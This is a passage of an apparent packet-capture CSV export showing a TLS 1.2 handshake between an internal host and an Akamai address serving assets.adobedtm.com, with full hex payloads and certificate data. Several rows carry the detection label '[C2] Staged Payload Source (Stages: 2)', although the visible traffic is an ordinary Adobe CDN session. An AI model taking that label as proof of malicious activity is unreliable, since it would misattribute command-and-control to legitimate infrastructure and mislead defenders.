\"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-06-14 14:28:34.004835,2,TCP 184.30.157.69:443 -> 10.152.152.11:63942,184.30.157.69,10.152.152.11,443,63942,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=616604217 Ack=2473779194,bc2411360d0cbc24112907bb08004500003400004000400642bdb81e9d450a98980b01bbf9c624c0a2399372dffa8012faf0f82d0000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@.B....E\n.......$..9.r.......-.............\n\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17085, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63942, \"\"seq\"\": 616604217, \"\"ack\"\": 2473779194, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 63533, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-06-14 14:28:34.005119,3,TCP 10.152.152.11:63942 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63942,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2473779194 Ack=616604218,bc24112907bbbc2411360d0c0800450000282fb040008006d3180a98980bb81e9d45f9c601bb9372dffa24c0a23a5010201461cf0000,\".$.)...$.6\n...E..(/.@.....\n......E.....r..$..:P. .a...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12208, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 54040, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63942, \"\"dport\"\": 443, \"\"seq\"\": 2473779194, \"\"ack\"\": 616604218, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25039, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:34.005695,4,TCP 10.152.152.11:63942 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63942,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2473779194 Ack=616604218,bc24112907bbbc2411360d0c0800450000e22fb140008006d25d0a98980bb81e9d45f9c601bb9372dffa24c0a23a50182014eb8d000016030300b5010000b103036a2f1d00ed4f1e698bb29e59e4beb6c6b3377d67b9c3aaf05c2d90ae2329ec63000026c02cc02bc030c02fc024c023c028c027c00ac009c014c013009d009c003d003c0035002f000a010000620000001800160000136173736574732e61646f626564746d2e636f6d000500050100000000000a00080006001d00170018000b00020100000d001a00180804080508060401050102010403050302030202060106030023000000170000ff01000100,\".$.)...$.6\n...E.../.@....]\n......E.....r..$..:P. ................j/...O.i...Y.....7}g....\\-..#).c..&.,.+.0./.$.#.(.'.\n.\t.........=.<.5./.\n...b.........assets.adobedtm.com..........\n.................\n.............................#...........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 226, \"\"id\"\": 12209, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 53853, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63942, \"\"dport\"\": 443, \"\"seq\"\": 2473779194, \"\"ack\"\": 616604218, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60301, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 181, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=177 version=TLS 1.2 gmt_unix_time=Sun, 14 Jun 2026 21:28:32  (1781472512) random_bytes=ed4f1e698bb29e59e4beb6c6b3377d67b9c3aaf05c2d90ae2329ec63 sidlen=0 sid=b'' cipherslen=38 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_GCM_SHA384, TLS_RSA_WITH_AES_128_GCM_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA256, TLS_RSA_WITH_AES_128_CBC_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=98 ext=[<TLS_Ext_ServerName  type=server_name len=24 servernameslen=22 servernames=[b'assets.adobedtm.com'] |>, <TLS_Ext_CSR  type=status_request len=5 stype=ocsp req=[<OCSPStatusRequest  respidlen=0 reqextlen=0 reqext=<X509_Extensions  |> |>] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SignatureAlgorithms  type=signature_algorithms len=26 sig_algs_len=24 sig_algs=[sha256+rsaepss, sha384+rsaepss, sha512+rsaepss, sha256+rsa, sha384+rsa, sha1+rsa, sha256+ecdsa, sha384+ecdsa, sha1+ecdsa, sha1+dsa, sha512+rsa, sha512+ecdsa] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:34.005698,5,TCP 184.30.157.69:443 -> 10.152.152.11:63942,184.30.157.69,10.152.152.11,443,63942,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=616604218 Ack=2473779380,bc2411360d0cbc24112907bb0800450000289be640004006a6e2b81e9d450a98980b01bbf9c624c0a23a9372e0b45010003ff8210000,\".$.6\n..$.)....E..(..@.@......E\n.......$..:.r..P..?.!..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 39910, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42722, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63942, \"\"seq\"\": 616604218, \"\"ack\"\": 2473779380, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 63521, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:34.311497,6,TCP 184.30.157.69:443 -> 10.152.152.11:63942,184.30.157.69,10.152.152.11,443,63942,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > Padding,5,TCP PA Seq=616604218 Ack=2473779380,bc2411360d0cbc24112907bb0800450002109be740004006a4f9b81e9d450a98980b01bbf9c624c0a23a9372e0b45018003ffa09000016030300490200004503032ae73c7b97b7a4719d3fc3621f108e43c188377ed3309f21444f574e4752440100c02c00001dff0100010000000000000b0004030001020023000000050000001700001603030b9c0b000b98000b950006c3308206bf308205a7a0030201020210088419764d2e757b0de43f20409b0890300d06092a864886f70d01010b05003059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c532052534120534841323536203230323020434131301e170d3235303632343030303030305a170d3236303732353233353935395a3068310b3009060355040613025553311330110603550408130a43616c69666f726e69613111300f0603550407130853616e204a6f736531133011060355040a130a41646f626520496e632e311c301a060355040313136173736574732e61646f626564746d2e636f6d3059301306072a8648ce3d020106082a8648ce3d030107034200044afbdf91b539759d17f2896f88c637a4f01d67ab3f8c6ec0e80849b3c05bc990e23546fd12afcc53c9c2729abab83151d3472e73534c513ba9a72463c18cce40a382043d30820439301f0603551d23041830168014748580c066c7df37,\".$.6\n..$.)....E.....@.@......E\n.......$..:.r..P..?.\t......I...E..*.<{...q.?.b...C..7~.0.!DOWNGRD...,.....................#.........................0...0.............vM.u{\n.? @...0\n.\t*.H..\n.....0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\n250624000000Z.\n260725235959Z0h1.0\t..U....US1.0...U...\nCalifornia1.0...U....San Jose1.0...U.\n.\nAdobe Inc.1.0...U....assets.adobedtm.com0Y0...*.H.=....*.H.=....B..J....9u....o..7...g.?.n...I..[...5F....S..r...1Q.G.sSLQ;..$c...@...=0..90...U.#..0...t...f..7\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 528, \"\"id\"\": 39911, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42233, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63942, \"\"seq\"\": 616604218, \"\"ack\"\": 2473779380, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 64009, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 73, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSServerHello  msgtype=server_hello msglen=69 version=TLS 1.2 gmt_unix_time=Thu, 22 Oct 1992 23:42:51  (719797371) random_bytes=97b7a4719d3fc3621f108e43c188377ed3309f21444f574e47524401 sidlen=0 sid=b'' cipher=TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 comp=null extlen=29 ext=[<TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>, <TLS_Ext_ServerName  type=server_name len=0 |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=4 ecpllen=3 ecpl=[uncompressed, ansiX962_compressed_prime, ansiX962_compressed_char2] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_CSR  type=status_request len=0 |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"1603030b9c0b000b98000b950006c3308206bf308205a7a0030201020210088419764d2e757b0de43f20409b0890300d06092a864886f70d01010b05003059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c532052534120534841323536203230323020434131301e170d3235303632343030303030305a170d3236303732353233353935395a3068310b3009060355040613025553311330110603550408130a43616c69666f726e69613111300f0603550407130853616e204a6f736531133011060355040a130a41646f626520496e632e311c301a060355040313136173736574732e61646f626564746d2e636f6d3059301306072a8648ce3d020106082a8648ce3d030107034200044afbdf91b539759d17f2896f88c637a4f01d67ab3f8c6ec0e80849b3c05bc990e23546fd12afcc53c9c2729abab83151d3472e73534c513ba9a72463c18cce40a382043d30820439301f0603551d23041830168014748580c066c7df37\"\"}}]\"\n2026-06-14 14:28:34.356732,7,TCP 10.152.152.11:63942 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63942,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2473779380 Ack=616604706,bc24112907bbbc2411360d0c0800450000282fb240008006d3160a98980bb81e9d45f9c601bb9372e0b424c0a422501020125f2f0000,\".$.)...$.6\n...E..(/.@.....\n......E.....r..$..\"\"P. ._/..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12210, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 54038, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63942, \"\"dport\"\": 443, \"\"seq\"\": 2473779380, \"\"ack\"\": 616604706, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8210, \"\"chksum\"\": 24367, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:34.374327,8,TCP 184.30.157.69:443 -> 10.152.152.11:63942,184.30.157.69,10.152.152.11,443,63942,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=616604706 Ack=2473779380,bc2411360d0cbc24112907bb080045000cb59be8400040069a53b81e9d450a98980b01bbf9c624c0a4229372e0b45018003f04af0000decfbd2937aa031dbeedcd17301d0603551d0e041604149994c8de674b0563825cc846f0ad8df972f856ad3081cb0603551d110481c33081c082136173736574732e61646f626564746d2e636f6d821f63646e312d73746167696e672e61646f62657265736f75726365732e6e657482196173736574732e61646f62657265736f75726365732e6e657482216173736574732d73746167696e672e61646f62657265736f75726365732e6e6574821763646e312e61646f62657265736f75726365732e6e65748215636f6d6d657263652e61646f626564746d2e636f6d821a6d6167656e746f2d726563732d73646b2e61646f62652e6e6574303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff040403020388301d0603551d250416301406082b0601050507030106082b0601050507030230819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff040230003082017e060a2b06010401d6790204020482016e0482016a0168007600d76d7d10d1a7f577c2c7e95fd700bff982c9335a65e1d0b3017317c0c8c5697700000197a356776d0000040300473045022100ba13cdb0191ff2dda7613f7abaa7a2709aad9dcb1d225f285caa90401b88d1cf02204f4cced7a52a563f96e619b5a84a3ea3265604c247ef88fe44872362f1788499007700c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd00000197a35677990000040300483046022100ba0becbb14c6527db1b14357ed59fbcfd99c67a8921e6bc1e8cef99a99eb7b97022100dbe61c5fec37f4caebd7688dfd4867de1e0253641e958279c144db5455387384007500944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d800000197a35677ab000004030046304402204689c9b939bc70f0eb7100247f2ebb036595e5feee06c2a0c12ad3a0cf925a090220136005146ca316af5faab6c9211868852c22a24ee42ac9374af8c78fdecf122c300d06092a864886f70d01010b050003820101009568286c9d10cf14a45fab15a703543efc1863106aa47085e985102f8dd54639c32d186b32b0b7f64002cfedc28a506bf1fa039b3f0c590a9ca8356df9e91fdea22c1de099bc120cdf06d8069913e22db60731146f9bd78bb64cfc16d39f44a66ecd281f52c3c7477a35d12c29e9ce6ddf6d80fad6cbb6ab1d9d34e1cdef10870430d94d31c40896b0c2a6e02b2b5cd822ed23dd0197e9bf07b86059e63d35ef7d802cd3bc54a2455aadbf9c0780ae0867900f72bca9cc27cbbaa1c256a351a17f7fe35f083c6b7e0baff7a1442fb528276737a6982678691b9e211720182b7c3f266f93c6c059cf6b03c0333dc9a1a6207fb5ecf1a9255ba762466f9955cdd80004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f079816030301df160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303631303132303131365a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd170210088419764d2e757b0de43f20409b08908000180f32303236303631303131343530325aa011180f32303236303631373130343530325a300d06092a864886f70d01010b050003820101005e7999694acfd1b68061acea75ee0458f2ed6f4b933a2c01be90ee1a1e09eb9599e0695837179547868d0029956dfd2eb3fdb581c9cf7b2f4f7e08c0db3c0b210475388df5ee12087fd44c506e3878d30704eabb870fc3e6b009b25da1cebcff57163914ff65481ec1bc5877cf6485fd9c3f935c6087f9ea1d7b6fa9c18ab8ff1c35e56da99590a25463986884760c63bd18d919c4408dc3865adbe9da32ef1d934a901d4d9e89c9c56ce1b4fd840cfd7d413c5b27302a3d423e491555eec0a81859d8f99caa111f68996bf6e524bdde87639988133aca21810066b7dabbf73179e9b440ccf84714487fe2e5e72f5a97d86316e1010e9a4e80f901518b39fb2016030300940c0000900300174104b3f2230e25abf5443c3b30a736fdef1dee21c5b97dcca8cd77d01c03bd8a91038133b100daafec184c335e8fa42a9168e8889f6eea254686cee24ed702e500b504030047304502206c77da0a60a0209372e80294c78e698b62353ec0fc0614a87846ec4759b0405c022100fe620c1e4cdececddfc7c207eabff8cd01a3ab25237adc5a5b27c8c9c2e3501c16030300040e000000,\"...)7.......0...U..........gK.c.\\.F....r.V.0....U.....0....assets.adobedtm.com..cdn1-staging.adoberesources.net..assets.adoberesources.net.!assets-staging.adoberesources.net..cdn1.adoberesources.net..commerce.adobedtm.com..magento-recs-sdk.adobe.net0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0...+.........+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..~.\n+.....y......n...j.h.v..m}....w..._......3Ze....s....iw.....Vwm.....G0E.!..........a?z...p.....\"\"_(\\..@..... OL...*V?.....J>.&V..G...D.#b.x...w..1~WE..E..8...A...!Z\"\".....v...R......Vw......H0F.!.......R}..CW.Y....g...k.......{..!...._.7....h..Hg...Sd...y.D.TU8s..u..NC........$&..e..._8..?rg}U7........Vw......F0D. F...9.p..q.$....e........*....Z\t. .`..l..._...!.h.,\"\".N.*.7J......,0\n.\t*.H..\n...........h(l....._....T>..c.j.p..../..F9.-.k2...@.....Pk....?.Y\n..5m.....,.............-..1.o....L....D.n.(.R..Gz5.,)..m.m........4......0.M1.......++\\.\"\".#.......`Y.=5.}.,..T.EZ.......g..r...'....V.Q...._.<k~....D/.('g7..&xi..!. .+|?&o...Y.k..3=... .....%[.bFo.U.....0...0..............+V..z.P,#..f0\n.\t*.H..\n.....0a1.0\t..U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20..\n210330000000Z.\n310329235959Z0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0\n.\t*.H..\n..........0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^.\n..F..l..bRBu....^^..a.....\t..=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040..\t`.H...l..0...g....0...g.....0...g.....0...g.....0\n.\t*.H..\n............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r.\t._....2u...X.W1~7...fm)..f\tm.n..../...\\Vd..}..8S..]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#\n$*.%L........t..m.......@................0...\n......0....\t+.....0......0...0......t...f..7...)7.........20260610120116Z0s0q0I0\t..+.............[.X....:.i.oH....t...f..7...)7............vM.u{\n.? @.......20260610114502Z....20260617104502Z0\n.\t*.H..\n..........^y.iJ....a..u..X..oK.:,......\t....iX7..G...).m........{/O~...<.!.u8.......LPn8x..........\t.]....W.9..eH...Xw.d...?.\\`....{o......5.m....Tc.h.v.c.....@...Z...2...J..M....l......}A<['0*=B>I.U....Y......h.k..$...c...:.!..f....1y..@..G.H..../Z..c.....N...Q.9. ............A...#.%..D<;0.6....!..}...w........3......L3^..*.h...n.%F...N........G0E. lw.\n`. .r.....i.b5>.....xF.GY.@\\.!..b..L..............%#z.Z['....P..........\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 3253, \"\"id\"\": 39912, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 39507, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63942, \"\"seq\"\": 616604706, \"\"ack\"\": 2473779380, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 1199, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, 